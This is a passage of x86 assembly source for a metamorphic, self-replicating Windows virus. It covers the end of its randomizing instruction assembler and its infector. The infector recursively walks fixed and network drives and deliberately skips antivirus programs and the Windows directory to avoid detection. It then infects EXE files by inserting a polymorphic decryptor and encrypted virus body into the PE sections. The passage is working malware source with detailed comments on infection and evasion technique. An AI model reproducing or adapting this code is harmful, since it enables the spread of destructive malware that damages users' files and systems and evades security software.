                cmp     eax, esi        ; Have we coded it already?
                jb    @@Assemble_Jump_Backwards
     @@Assemble_Jump_Fowards:
                mov     ebx, eax        ; Get the distance
                sub     ebx, esi
                cmp     ebx, 0B0h ; 11 (max size of instruction) * 0Bh = 121.
                                  ; It must be < 128 to code a short Jcc
                jbe   @@Assemble_JmpFwd_Short
     @@Assemble_JmpFwd_Long_Set00:
                mov     eax, [esi]          ; Set the opcode
                and     eax, 0FFh
                cmp     eax, 7Fh            ; Jcc?
                jbe   @@Assemble_JmpFwd_Long_Jcc
     @@Assemble_JmpFwd_Long_Set:
                mov     [edi], eax          ; Set the opcode
                call    Asm_AddToRelocTable ; Add it to the post-assembly
                add     edi, 5              ; relocation work
                ret
     @@Assemble_JmpFwd_Long_Jcc:
                mov     eax, 0Fh         ; Set the opcode 0F
                mov     [edi], eax
                add     edi, 1
                mov     eax, [esi]       ; Get the Jcc opcode, add 10h to it
                add     eax, 10h         ; (by x86 specifications :) and set
                jmp   @@Assemble_JmpFwd_Long_Set ; it in the same way the
                                                 ; short one.
     @@Assemble_JmpFwd_Short:
                call    Random           ; Get a random decision over the
                and     eax, 7           ; codification of this jump: short
                or      eax, eax         ; or long? (long with a 1/8 of prob.)
                jz    @@Assemble_JmpFwd_Long_Set00
                mov     eax, [esi]       ; Get the opcode
                and     eax, 0FFh
                cmp     eax, 0E8h                 ; CALL?
                jz    @@Assemble_JmpFwd_Long_Set  ; Then, set long for sure
                cmp     eax, 0E9h                 ; JMP?
                jz    @@Assemble_JmpFwd_Short_JMP ; Then, set short
     @@Assemble_JmpFwd_Short_Set:
                mov     [edi], eax                ; Set the opcode
                call    Asm_AddToRelocTable       ; Add it to post-assembly
                add     edi, 2                    ; relocations
                ret
     @@Assemble_JmpFwd_Short_JMP:
                add     eax, 2            ; Convert the E9 opcode to EB
                jmp   @@Assemble_JmpFwd_Short_Set

     @@Assemble_Jump_Backwards:
                mov     ebx, [eax+0Ch]    ; Get the address of the label
                sub     ebx, edi
                sub     ebx, 2            ; Get the displacement in EBX
                cmp     ebx, 0FFFFFF80h   ; If backwards displacement <= 128,
                jb    @@Assemble_Jump_Backwards_Long ; we can use short jumps.
                                                     ; If not, jump
                mov     eax, [esi]        ; Get the opcode
                cmp     al, 0E8h          ; If it's CALL, it's long (and just
                jz    @@Assemble_Jump_Backwards_Long ; imagine a fist hitting
                                                   ; a table categorically XD)
                call    Random
                and     eax, 7
                or      eax, eax          ; Get a random decision to code it
                jz    @@Assemble_Jump_Backwards_Long ; short or long
                mov     eax, [esi]
                cmp     al, 0E9h          ; JMP opcode?
                jnz   @@Assemble_Jump_StoreOpcode_Short ; If not, jump
                add     eax, 2                          ; Make it 0EBh
     @@Assemble_Jump_StoreOpcode_Short:
                mov     [edi], eax        ; Store the opcode
                add     edi, 1
                mov     [edi], ebx        ; Store the displacement
                add     edi, 1
                ret
     @@Assemble_Jump_Backwards_Long:
                mov     eax, [esi]        ; Get the opcode
                cmp     al, 0E9h                     ; JMP?
                jz    @@Assemble_Jump_Backwards_JMP  ; Then, jump there
                cmp     al, 0E8h                     ; CALL?
                jz    @@Assemble_Jump_Backwards_JMP  ; Then, jump there
                sub     ebx, 4           ; Subtract the length that we haven't
                mov     eax, 0Fh         ; subtracted yet
                mov     [edi], eax      ; Set the first opcode of the long Jcc
                add     edi, 1
                mov     eax, [esi]       ; Set the 2nd opcode
                add     eax, 10h
     @@Assemble_Jump_Backwards_Long_Common:
                mov     [edi], eax       ; Set the opcode
                add     edi, 1
                mov     [edi], ebx       ; Set the displacement
                add     edi, 4
                ret
     @@Assemble_Jump_Backwards_JMP:
                sub     ebx, 3           ; Set the opcode (JMP or CALL)
                jmp   @@Assemble_Jump_Backwards_Long_Common
                ret
AssembleInstruction endp


;; This function adds the current storage EIP to the post-assembly relocation
;; table. After all the code is assembled, we'll fix the displacements stored
;; in this table.
Asm_AddToRelocTable proc
                mov     ebx, [ebp+JumpRelocationTable] ; Get the last element
                mov     ecx, [ebp+NumberOfJumpRelocations] ; of the table
                add     ebx, ecx
                mov     [ebx], edi        ; Store the address for fixing
                mov     eax, [esi+1]      ; Store the label of destiny
                mov     [ebx+4], eax
                add     ecx, 8            ; Increase the last element pointer
                mov     [ebp+NumberOfJumpRelocations], ecx
                ret
Asm_AddToRelocTable endp

;; This function will construct the opcode reference to a memory address using
;; the common memory address structure of our pseudoassembler. It will recode
;; the address using randomly one of the possible codifications for every
;; situation, as I expose here:
;;
;; Memory codification variants:
;;
;; Direct address
;;     05 xx xx xx xx
;;     04 25 xx xx xx xx
;;
;; 1 index + 0
;;     0x (not valid if x = 5)
;;     4x 00
;;     8x 00 00 00 00
;;     04 00xxx101 00 00 00 00
;;     44 00100xxx 00
;;     84 00100xxx 00 00 00 00
;; 1 index + byte (< 80h or > FFFFFF7Fh)
;;     4x yy
;;     8x yy ss ss ss
;;     04 00xxx101 yy ss ss ss
;;     44 00100xxx yy
;;     84 00100xxx yy ss ss ss
;; 1 index + dword
;;     8x yy yy yy yy
;;     04 00xxx101 yy yy yy yy
;;     84 00100xxx yy yy yy yy
;; 1 index * N + 0
;;     04 nnxxx101 00 00 00 00
;; 1 index * N + byte
;;     04 nnxxx101 yy ss ss ss
;; 1 index * N + dword
;;     04 nnxxx101 yy yy yy yy
;;
;; 2 index + 0 (xx(*nn),yy,zzzzzzzz)
;;     04 nnxxxyyy (yyy != 5)
;;     44 nnxxxyyy 00
;;     84 nnxxxyyy 00 00 00 00
;; 2 index + byte (<80h or > FFFFFF7Fh) (xx(*nn),yy,zzzzzzzz)
;;     44 nnxxxyyy zz
;;     84 nnxxxyyy zz ss ss ss
;; 2 index + dword (xx(*nn),yy,zzzzzzzz)
;;     84 nnxxxyyy zz zz zz zz
;;
;; The codification of the memory address will be done at [EDI], while EBX
;; can hold a value to OR to the 1st codified opcode (for example, registers
;; or operations that must be in this opcode). The function returns with all
;; prepared to follow the codification, this means, all the pointers
;; are increased and the memory address is completely finished, not having
;; to make anything more related with the memory address.
;; 
Asm_MakeMemoryAddress proc
                mov     ecx, [esi+1]
                and     ecx, 0FFh
                mov     eax, [esi+2]
                and     eax, 0FFh
                cmp     eax, ecx
                jae   @@Next00
                mov     edx, eax
                jmp   @@Next01
   @@Next00:    mov     edx, ecx
                mov     ecx, eax

   ; Now, ECX > EDX. ECX will hold also the multiplicator if we use one for
   ; this instruction. If not, it could be exchanged with EDX further on the
   ; algorithm.

   @@Next01:    cmp     edx, 8         ; I decided to not commenting this :).
                jz    @@NoIndex1       ; The code is clear and understandable,
                cmp     ecx, 8         ; and I'm tired of commenting code!
                jz    @@Only1Index
                cmp     ecx, 7
                ja    @@NoExchange
                call    RandomBoolean
                or      eax, eax
                jz    @@NoExchange
                mov     eax, ecx
                mov     ecx, edx
                mov     edx, eax
   @@NoExchange:
                mov     eax, [esi+3]
                or      eax, eax
                jz    @@2Index_0
                cmp     eax, 7Fh
                jbe   @@2Index_Byte
                cmp     eax, 0FFFFFF80h
                jae   @@2Index_Byte
   @@2Index_Dword:
                mov     eax, 84h
   @@2Index_Dword_Subr:
                push    eax
                mov     eax, ecx
                and     eax, 0C0h
                shl     ecx, 3
                and     ecx, 38h
                add     eax, ecx
                add     edx, eax
                pop     eax
                jmp   @@SetMemory01
   @@2Index_Byte:
                call    RandomBoolean
                or      eax, eax
                jz    @@2Index_Dword
                mov     eax, 44h
                call  @@2Index_Dword_Subr
                sub     edi, 3
                ret
   @@2Index_0:
                call    RandomBoolean
                or      eax, eax
                jz    @@2Index_Byte
                cmp     edx, 5
                jz    @@2Index_Byte
                mov     eax, 04h
                call  @@2Index_Dword_Subr
                sub     edi, 4
                ret

   @@Only1Index:
                ; EDX = Index, no scalar (if not, it would be ECX)
                mov     eax, [esi+3]
                or      eax, eax
                jz    @@Only1Index_0
                cmp     eax, 7Fh
                jbe   @@Only1Index_Byte
                cmp     eax, 0FFFFFF80h
                jae   @@Only1Index_Byte
   @@Only1Index_Dword:
                call    Random
                and     eax, 3
                or      eax, eax
                jz    @@Only1Index_Dword
                cmp     eax, 1
                jz    @@Only1Index_Dword_01
                cmp     eax, 2
                jz    @@Only1Index_Dword_02
   @@Only1Index_Dword_03:
                mov     eax, 84h
                add     edx, 20h
                jmp   @@SetMemory01
   @@Only1Index_Dword_02:
                mov     eax, 04h
                shl     edx, 3
                add     edx, 5
                jmp   @@SetMemory01
   @@Only1Index_Dword_01:
                add     edx, 80h
                add     edx, ebx
                mov     [edi], edx
                mov     eax, [esi+3]
                mov     [edi+1], eax
                add     edi, 5
                ret
   @@Only1Index_Byte:
                call    RandomBoolean
                or      eax, eax
                jz    @@Only1Index_Dword
                call    RandomBoolean
                or      eax, eax
                jz    @@Only1Index_Byte_01
   @@Only1Index_Byte_02:
                mov     eax, 44h
                add     eax, ebx
                mov     [edi], eax
                add     edx, 20h
                mov     [edi+1], edx
                mov     eax, [esi+3]
                mov     [edi+2], eax
                add     edi, 3
                ret
   @@Only1Index_Byte_01:
                add     edx, 40h
                add     edx, ebx
                mov     [edi], edx
                mov     eax, [esi+3]
                mov     [edi+1], eax
                add     edi, 2
                ret
   @@Only1Index_0:
                call    RandomBoolean
                or      eax, eax
                jz    @@Only1Index_Byte
                cmp     edx, 5
                jz    @@Only1Index_Byte
                add     edx, ebx
                mov     [edi], edx
                add     edi, 1
                ret

   @@NoIndex1:  cmp     ecx, 8   ; If EDX = 8, then ECX >= 8
                jz    @@DirectAddress
                mov     edx, ecx
                and     edx, 0C0h
                and     ecx, 7
                shl     ecx, 3
                add     edx, ecx
                add     edx, 5
                mov     eax, 4
   @@SetMemory01:
                add     eax, ebx
                mov     [edi], eax
                mov     [edi+1], edx
                mov     eax, [esi+3]
                mov     [edi+2], eax
                add     edi, 6
                ret
   @@DirectAddress:
                mov     eax, 05h
                add     eax, ebx
                mov     [edi], eax
                mov     eax, [esi+3]
                mov     [edi+1], eax
                add     edi, 5
                ret
Asm_MakeMemoryAddress endp
;;
;;
;; End of the assembler
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!Infector
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The infector
;; ------------
;;
;; The infector is the part that brings this virus the category of "virus" :).
;; The infection made here is quite complex: there are three types of
;; supported modes, depending on the configuration of the executable:
;;
;; 1) Midinfection with section shifting
;;
;;   The most difficult to make but also the most difficult to detect. It
;;   can only be performed if there is a .reloc section in the executable.
;;   We extend the end of the .text section and we shift down the sections
;;   under this one. In this way, the decryptor/copier executes in the
;;   .text section without overwriting code. The data being encrypted/moved
;;   is stored at the beginning of the .data section: again, we shift the
;;   sections down but this time extending the size of .data and all the
;;   bytes stored here are shifted down.
;;   To make this, all the offset references to points of the executable that
;;   are going to be shifted down must be updated: we do that with the help
;;   of the .reloc section.
;;
;; 2) Midinsertion of the decryptor, data at last section
;;
;;   If we cannot make the first infection method we pass to this one. We
;;   look for holes in the section padding (virtual or physical holes),
;;   calculate the maximum size the decryptor can have there and we insert
;;   it. The virus data will be stored at the end of the last section, but
;;   without modifying the flags of the section (at least must be readable).
;;   In fact, if the section is writable we don't infect that executable.
;;
;; 3) All data at last section
;;
;;   If there aren't holes between sections or the padding isn't enough big
;;   to hold a minimum fixed size, then we make a standard infection: we make
;;   the last section bigger and put all the code there (the 29A technique).
;;
;; The infection mark will be the field of the CRC of the executable. If the
;; CRC is 0, the file is already infected. If not, the file is clean and we
;; set that field to 0 if we successfully infected the file. Since there are
;; lots of files with this field being 0, the detection can't rely on the
;; infection mark.
;;
;;
InfectFiles     proc
                xor     eax, eax      ; Set the directory deepness to 0
                mov     [ebp+DirectoryDeepness], eax

                call    InfectFiles2  ; First, the current directory

                mov     ebx, [ebp+FindFileData]
                add     ebx, 1000h
    @@LoopGetDrives:
                xor     eax, eax      ; Now set again this to 0
                mov     [ebp+DirectoryDeepness], eax

                push    eax         ; Get the logical drives in this computer.
                push    ecx
                push    edx
                mov     eax, [ebp+FindFileData]
                add     eax, 1000h
                push    eax
                mov     eax, 200h
                push    eax
                call    dword ptr [ebp+RVA_GetLogicalDriveStringsA]
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax

                mov     eax, [ebp+ReturnValue]
                or      eax, eax       ; If error, exit
                jz    @@Error2

                push    eax
                push    ecx
                push    edx

                mov     eax, ebx       ; Get the type of drive. We only infect
                push    eax            ; it if it's DRIVE_FIXED (3) or
                call    dword ptr [ebp+RVA_GetDriveTypeA] ; DRIVE_NETWORK (4)
                mov     [ebp+ReturnValue], eax

                pop     edx
                pop     ecx
                pop     eax

                mov     eax, [ebp+ReturnValue]
                cmp     eax, 3    ; DRIVE_FIXED
                jz    @@InfectDrive
                cmp     eax, 4    ; DRIVE_NETWORK
                jnz   @@NextDrive


       @@InfectDrive:
                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                mov     eax, ebx
                push    eax   ; Avoid a sequence of 4 pushes (just in case)
                call    dword ptr [ebp+RVA_SetCurrentDirectoryA]
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx            ; Set the current directory as the
                pop     eax            ; drive string returned by the function

                mov     eax, [ebp+ReturnValue]
                or      eax, eax
                jz    @@Error2         ; If error, return

                push    ebx
                call    InfectFiles2   ; Infect the drive.
                pop     ebx

      @@NextDrive:

      @@LoopFindNull:
                add     ebx, 1         ; Get the next drive. If we reach to
                mov     eax, [ebx]     ; a double NULL, then exit (end of
                and     eax, 0FFh      ; drives string).
                or      eax, eax
                jnz   @@LoopFindNull
                add     ebx, 1
                mov     eax, [ebx]
                and     eax, 0FFh
                or      eax, eax
                jnz   @@LoopGetDrives  ; Next drive
     @@Error2:
                ret
InfectFiles     endp

;; This function is a separated one from above to allow recursivity. When we
;; infect a directory, we can get more directories in the file listing, so
;; we set that directory as the current and we call this function again (but
;; first increasing the directory deepness to avoid infecting all the drive
;; every execution).
InfectFiles2    proc
                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                mov     eax, [ebp+FindFileData]
                push    eax
                mov     edx, [ebp+OtherBuffers]
                push    edx

                mov     eax, '*.*'     ; Get all files
                mov     [edx], eax

                call    dword ptr [ebp+RVA_FindFirstFileA]
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue]
                cmp     eax, -1
                jz    @@Error
                mov     [ebp+hFindFile], eax
     @@TouchAgain:
                mov     edx, [ebp+FindFileData] ; Get the attributes
                mov     eax, [edx]
                and     eax, 10h          ; Check if it's a directory
                or      eax, eax
                jz    @@TryToInfectFile   ; If it isn't, jump to try to infect


                mov     eax, [ebp+DirectoryDeepness]
                cmp     eax, 3            ; If we are too deep in recursivity
                jz    @@InfectNextFile    ; just ignore the directory.
                mov     eax, [edx+2Ch]
                and     eax, 0FFFFFFh     ; See if the directory name is ".."
                cmp     eax, '..'
                jz    @@InfectNextFile    ; If it is, ignore it
                and     eax, 0FFFFh
                cmp     eax, '.'          ; Is it "."?
                jz    @@InfectNextFile    ; Then, ignore it
                and     eax, 01Fh
                cmp     eax, 'W' AND 1Fh  ; Do the name begins with "W"?
                jz    @@InfectNextFile    ; Then, ignore it. In this way we
                                      ; avoid infecting files in the Windows
                                      ; directory (and the action of the SFP
                                      ; noticing the user).
                push    eax
                push    ecx
                push    edx    ; APICALL_BEGIN

                mov     eax, edx
                add     eax, 2Ch      ; Set the directory as the current.
                push    eax
                call    dword ptr [ebp+RVA_SetCurrentDirectoryA]
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax

                mov     eax, [ebp+ReturnValue]
                or      eax, eax           ; If we couldn't, find next file
                jz    @@InfectNextFile

                mov     eax, [ebp+DirectoryDeepness]
                add     eax, 1             ; Increase the directory recurs.
                mov     [ebp+DirectoryDeepness], eax

                mov     eax, [ebp+hFindFile]  ; Save the FileFind handle
                push    eax
                call    InfectFiles2          ; Calling me from my guts!
                pop     eax
                mov     [ebp+hFindFile], eax  ; Restore the FileFind handle

                mov     eax, [ebp+DirectoryDeepness]
                sub     eax, 1             ; Decrease the directory deepness
                mov     [ebp+DirectoryDeepness], eax

                mov     edx, [ebp+FindFileData]
                mov     eax, '..'          ; Set as current the directory
                mov     [edx], eax         ; above in the tree. Doing this
                                      ; we avoid to save everytime the name
                push    eax           ; of the directory we came from.
                push    ecx
                push    edx

                mov     eax, edx
                push    eax           ; Set ".." as the current directory
                call    dword ptr [ebp+RVA_SetCurrentDirectoryA]
                mov     [ebp+ReturnValue], eax

                pop     edx
                pop     ecx
                pop     eax

                mov     eax, [ebp+ReturnValue]
                or      eax, eax
                jz    @@Error2         ; If error, just finish the infection
                jmp   @@InfectNextFile ; If no error, continue

    ;; Here if we found a file
     @@TryToInfectFile:
                xor     eax, eax
                call    RandomBoolean_X000_3
                ;call    RandomBoolean  ; WEIGHT_X000
                or      eax, eax
                jz    @@InfectNextFile ; Infect only the 50% of the files
                           ; but based on our genetic algorithm. By evolution,
                           ; only the more spreaded or the more stealthy will
                           ; "survive".
                mov     edx, [ebp+FindFileData]
                add     edx, 2Ch       ; EDX = offset to the file name

;; Uncomment this for debugging the virus. With this code the virus will only
;; infect files starting with "goat"
;                 mov     eax, [edx]
;                 and     eax, 1F1F1F1Fh
;                 cmp     eax, 'taog' AND 1F1F1F1Fh
;                 jnz   @@InfectNextFile

                mov     eax, [edx]       ; Get the two first letters
                and     eax, 1F1Fh
                cmp     eax, '-F' AND 1F1Fh  ; Check for F-PROT
                jz    @@InfectNextFile       ; If it is, avoid the infection
                cmp     eax, 'AP' AND 1F1Fh  ; Check for PANDA
                jz    @@InfectNextFile
                cmp     eax, 'CS' AND 1F1Fh  ; Check for SCAN*, SCN*, etc.
                jz    @@InfectNextFile
                cmp     eax, 'RD' AND 1F1Fh  ; Check for DRWEB
                jz    @@InfectNextFile
                cmp     eax, 'ON' AND 1F1Fh  ; Check for NOD-ICE, NORTON, etc.
                jz    @@InfectNextFile

                mov     ebx, edx
     @@LoopFindExtension:
                mov     eax, [ebx]    ; Avoid files with a "V" in the name.
                and     eax, 01Fh     ; With that we avoid AVP, NAV, and lots
                cmp     eax, 'V' AND 1Fh ; of antivirus.
                jz    @@InfectNextFile
                or      eax, eax
                jz    @@CheckExtension
                add     ebx, 1
                jmp   @@LoopFindExtension
     @@CheckExtension:
                mov     eax, [ebx-4]     ; Finally, is it an EXE file?
                and     eax, 1F1F1FFFh
                cmp     eax, 'EXE.' AND 1F1F1FFFh
                jnz   @@InfectNextFile   ; If not, don't infect!

      @@InfectFile:
                call    TouchFile   ; Infect the file with our brand recently
      @@InfectNextFile:             ; reassembled code.
                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN
                mov     eax, [ebp+FindFileData]
                push    eax
                mov     eax, [ebp+hFindFile]
                push    eax
                call    dword ptr [ebp+RVA_FindNextFileA]
                mov     [ebp+ReturnValue], eax    ; Find the next file/dir of
                pop     edx                       ; the directory
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue]  ; If error, finish
                or      eax, eax
                jnz   @@TouchAgain
      @@Error2:
                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN
                mov     eax, [ebp+hFindFile]    ; Close the FindFile handle
                push    eax
                call    dword ptr [ebp+RVA_FindClose]
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END
      @@Error:
                ret
InfectFiles2    endp

;; This function infects the file. It saves the original attributes, clears
;; them (removing any read-only setting), opens a mapping of the file and
;; performs all the operations. After that, it uses the info in the FindFile
;; data to restore the original date/time, restores the attributes and exits.
TouchFile       proc
                mov     [ebp+Addr_FilePath], edx ; Save the file path address

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                push    edx
                call    dword ptr [ebp+RVA_GetFileAttributesA]
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue] ; If there was an error getting
                cmp     eax, -1                ; the attributes just exit
                jz    @@Error_
                mov     [ebp+FileAttributes], eax ; Save the attributes

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN
                push    80h
                mov     eax, [ebp+Addr_FilePath]  ; Set normal file attributes
                push    eax
                call    dword ptr [ebp+RVA_SetFileAttributesA]
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue]
                or      eax, eax
                jz    @@Error_               ; If error, finish

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                push    0
                push    0
                push    3          ; OPEN_EXISTING
                push    0
                push    0
                push    0C0000000h ; Generic read & write
                push    edx
                call    dword ptr [ebp+RVA_CreateFileA] ; Open the file
                mov     [ebp+ReturnValue], eax
                pop     edx
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue]
                cmp     eax, -1           ; If error, finish
                jz    @@Error
                mov     [ebp+hFile], eax

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                push    0
                push    eax
                call    dword ptr [ebp+RVA_GetFileSize]
                mov     [ebp+ReturnValue], eax
                pop     edx               ; Get the current file size.
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue]
                or      eax, eax
                jz    @@Error2            ; If error, finish
                mov     [ebp+FileSize], eax          ; Set the tracking size
                mov     [ebp+OriginalFileSize], eax  ; Set the original size

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                push    0
                add     eax, [ebp+RoundedSizeOfNewCode]
                add     eax, 1000h ; Maximum size of decryptor
                push    eax
                push    0
                push    4  ; PAGE_READWRITE
                push    0
                mov     eax, [ebp+hFile]      ; Create a file mapping with a
                push    eax                   ; size of original file's size +
                call    dword ptr [ebp+RVA_CreateFileMappingA] ; + the new size
                mov     [ebp+ReturnValue], eax   ; of the virus + the maximum
                pop     edx                      ; size we use for a decryptor
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue]
                or      eax, eax
                jz    @@Error2                ; If error, just finish
                mov     [ebp+hMapping], eax

                push    eax
                push    ecx
                push    edx  ; APICALL_BEGIN

                push    0
                push    0
                push    0
                push    0F001Fh
                push    eax
                call    dword ptr [ebp+RVA_MapViewOfFile]
                mov     [ebp+ReturnValue], eax
                pop     edx                ; Map a view of the file mapping
                pop     ecx
                pop     eax  ; APICALL_END

                mov     eax, [ebp+ReturnValue]
                or      eax, eax
                jz    @@Error3             ; If error, exit

                mov     dword ptr [ebp+MappingAddress], eax ; Set the address

     ; Needed variables:
     ; [MappingAddress] = Mapping address of file. The mapping
     ;  must have the size of the two holes already increased.
     ; Return:
     ;  EAX = 0 if everything is OK,
     ;   [HeaderAddress] = PE header address
     ;   [Phys_TextHole] = Physical address of hole in code section
     ;   [RVA_TextHole] = Virtual address of hole in code section
     ;   [Phys_DataHole] = Physical address of hole in data section
     ;   [RVA_DataHole] = Virtual Address of hole in data section
     ;   [ExitProcessAddress] != 0 if ExitProcess was found and
     ;     patched to point to the zone the decryptor is going to be.
     ;  EAX != 0 if something failed
                xor     eax, eax        ; Initialize the Undo buffer (for
                mov     [ebp+NumberOfUndoActions], eax ; undo the changes to
                                                ; the file if we had an error)
                call    PrepareFile    ; Make the holes
                or      eax, eax       ; Error?
                jnz   @@Error4         ; EAX != 0 if error, so exit

                mov     ebx, [ebp+MappingAddress] ; Get the physical address
                add     ebx, [ebp+Phys_TextHole]  ; in the mapping where the
                                                  ; decryptor must be.
;;;;;;
; Now we create the decryptor and we copy the code, which will be unencrypted
; once in every 16 infections
;;;;;;
                mov     ecx, [ebp+MaxSizeOfDecryptor] ; Get the maximum size
                cmp     ecx, 400h             ; we can have for the decryptor
                jbe   @@SetSizeOfExpansionTo0 ; If it's 400h, set a size of
                mov     eax, 1                ; expansion to the Expander of
                call    RandomBoolean_X000_3  ; 0 (three recursivity levels).
                or      eax, eax
                jz    @@SetSizeOfExpansionTo0 ; Also we can select randomly
                                              ; that level instead of a deeper
                                              ; one (genetically!)
                mov     eax, -1               ; Set the initial level to -1
                jmp   @@SetSizeOfExpansion    ; (four levels of recursivity).
      @@SetSizeOfExpansionTo0:
                mov     eax, 2
                call    RandomBoolean_X000_3  ; Get a random TRUE or FALSE
                                              ; depending on previous
                                              ; generations values.
                or      eax, eax              ; If FALSE, set only two levels
                jz    @@SetSizeOfExpansionTo1 ; of recursivity (set the initial
                xor     eax, eax              ; level to 1)
                jmp   @@SetSizeOfExpansion
      @@SetSizeOfExpansionTo1:
                mov     eax, 1
      @@SetSizeOfExpansion:
                mov     [ebp+SizeOfExpansion], eax ; Set -1, 0 or 1 (depending
                                                ; on all the conditions above)

      @@CheckWithOtherSizeOfExpansion:
                mov     ecx, 3         ; Set the number of times we'll try
                                       ; to get a decryptor with a size that
                                       ; fits into the maximum size set.
      @@GenerateOther:
                push    ecx            ; Save the count
                mov     edi, [ebp+DecryptorPseudoCode] ; Get the storage addr.
                mov     eax, [ebp+VirtualAllocAddress] ; Save this address
                push    eax
                call    MakeDecryptor    ; Make a decryptor for this infection
                pop     eax              ; Restore this address
                mov     [ebp+VirtualAllocAddress], eax
                pop     ecx             ; Decrease the number of times we
                sub     ecx, 1          ; can repeat the decryptor generation
                mov     eax, [ebp+SizeOfDecryptor] ; Check the size of the
                cmp     eax, [ebp+MaxSizeOfDecryptor] ; new decryptor.
                jbe   @@SizeOfDecryptorOK             ; If it fits, jump
                or      ecx, ecx                   ; ECX = 0?
                jnz   @@GenerateOther              ; If not, generate other
                mov     eax, [ebp+SizeOfExpansion] ; Check if the size of
                cmp     eax, 2             ; expansion is already the minimum.
                jz    @@InsertExitProcess  ; If it is, insert directly a call
                      ; to ExitProcess (to make the host run without problems).
                add     eax, 1             ; If not, decrease the recursivity
                mov     [ebp+SizeOfExpansion], eax  ; the expander can make and
                jmp   @@CheckWithOtherSizeOfExpansion ; try again.

    ; Here we insert a call to ExitProcess if we couldn't generate a decryptor
    ; following our specifications.
      @@InsertExitProcess:
                mov     edi, [ebp+Phys_TextHole]    ; Get the address for
                add     edi, [ebp+MappingAddress]   ; code insertion
                mov     eax, 6Ah
                mov     [edi], eax          ; Insert "PUSH 0"
                add     edi, 2
            ;    xor     eax, eax
            ;    mov     [edi], eax
            ;    add     edi, 1
                mov     eax, 15FFh          ; Insert "CALL ExitProcess"
                mov     [edi], eax
                add     edi, 2
                mov     eax, [ebp+ExitProcessAddress]
                mov     [edi], eax
                jmp   @@Exit

      @@SizeOfDecryptorOK:           ; Now let's copy the decryptor in the
                mov     esi, [ebp+AssembledDecryptor]  ; hole we made for it.
                mov     edi, [ebp+Phys_TextHole]
                add     edi, [ebp+MappingAddress]
                mov     ecx, [ebp+SizeOfDecryptor]
      @@LoopCopyDecryptor:
                mov     eax, [esi]       ; Copy the assembled decryptor
                mov     [edi], eax
                add     esi, 1
                add     edi, 1
                dec     ecx
                or      ecx, ecx
                jnz   @@LoopCopyDecryptor

                mov     edx, 10h         ; Maximum number of times we can
                                         ; repeat the following:
                mov     esi, [ebp+MaxSizeOfDecryptor]
                sub     esi, [ebp+SizeOfDecryptor]
                and     esi, 0FFFFFFFCh    ; Get the remaining size of the
                or      esi, esi           ; decryptor aligned to DWORDs.
                jz    @@ContinueWithTheRest ; If 0, don't make this thing
       @@CheckAgainThePossibility:
                call    Random      ; Get a random number between 0 and 252
                and     eax, 0FCh
                or      eax, eax    ; If 0, repeat
                jz    @@CheckAgainThePossibility
                sub     edx, 1      ; Decrease the number of times we can do
                                    ; this again.
                cmp     eax, esi    ; If the random number is below the
                jb    @@FillRandomBytes ; remaining size, go to fill some.
                or      edx, edx        ; If don't, and we can make it more
                jnz   @@CheckAgainThePossibility ; times, get another random
                jmp   @@ContinueWithTheRest      ; number.
      @@FillRandomBytes:
                mov     ecx, eax    ; ECX = Number of random bytes to insert
      @@LoopFillRandomBytes:
                call    Random
                mov     [edi], eax  ; Insert a random DWORD
                add     edi, 4
                sub     ecx, 4
                or      ecx, ecx    ; Fill it with the random quantity we got
                jnz   @@LoopFillRandomBytes ; before

      @@ContinueWithTheRest:
                mov     edi, [ebp+MappingAddress] ; Get the physical address
                add     edi, [ebp+Phys_DataHole]  ; of the data hole
                cmp     edi, [ebp+MappingAddress] ; If it's 0, exit
                jz    @@Exit
                mov     edx, [ebp+TypeOfEncryption] ; Get the encryption
                mov     ebx, [ebp+EncryptionKey]    ; operation and the
                mov     esi, [ebp+NewAssembledCode] ; address of the new
                mov     ecx, [ebp+SizeOfNewCode]    ; mutated code
                and     ecx, 0FFFFFFFCh
                add     ecx, 4             ; Round it
     @@LoopEncryptCode:
                mov     eax, [esi]
                or      ebx, ebx           ; Copy the code and encrypt it
                jz    @@NoEncryption       ; on the fly
                or      edx, edx
                jz    @@ADDKey
                cmp     edx, 1
                jz    @@SUBKey
        @@XORKey:
                xor     eax, ebx
                jmp   @@StoreDWORD
        @@ADDKey:
                add     eax, ebx
                jmp   @@StoreDWORD
        @@SUBKey:
                sub     eax, ebx
        @@NoEncryption:
        @@StoreDWORD:
                mov     [edi], eax         ; Store the encrypted (or not)
                add     esi, 4             ; DWORDs
                add     edi, 4
                sub     ecx, 4
                or      ecx, ecx
                jnz   @@LoopEncryptCode
                xor     eax, eax
                mov     [edi], eax         ; Set a 0 at the end

     @@Exit:    mov     ebx, [ebp+HeaderAddress]
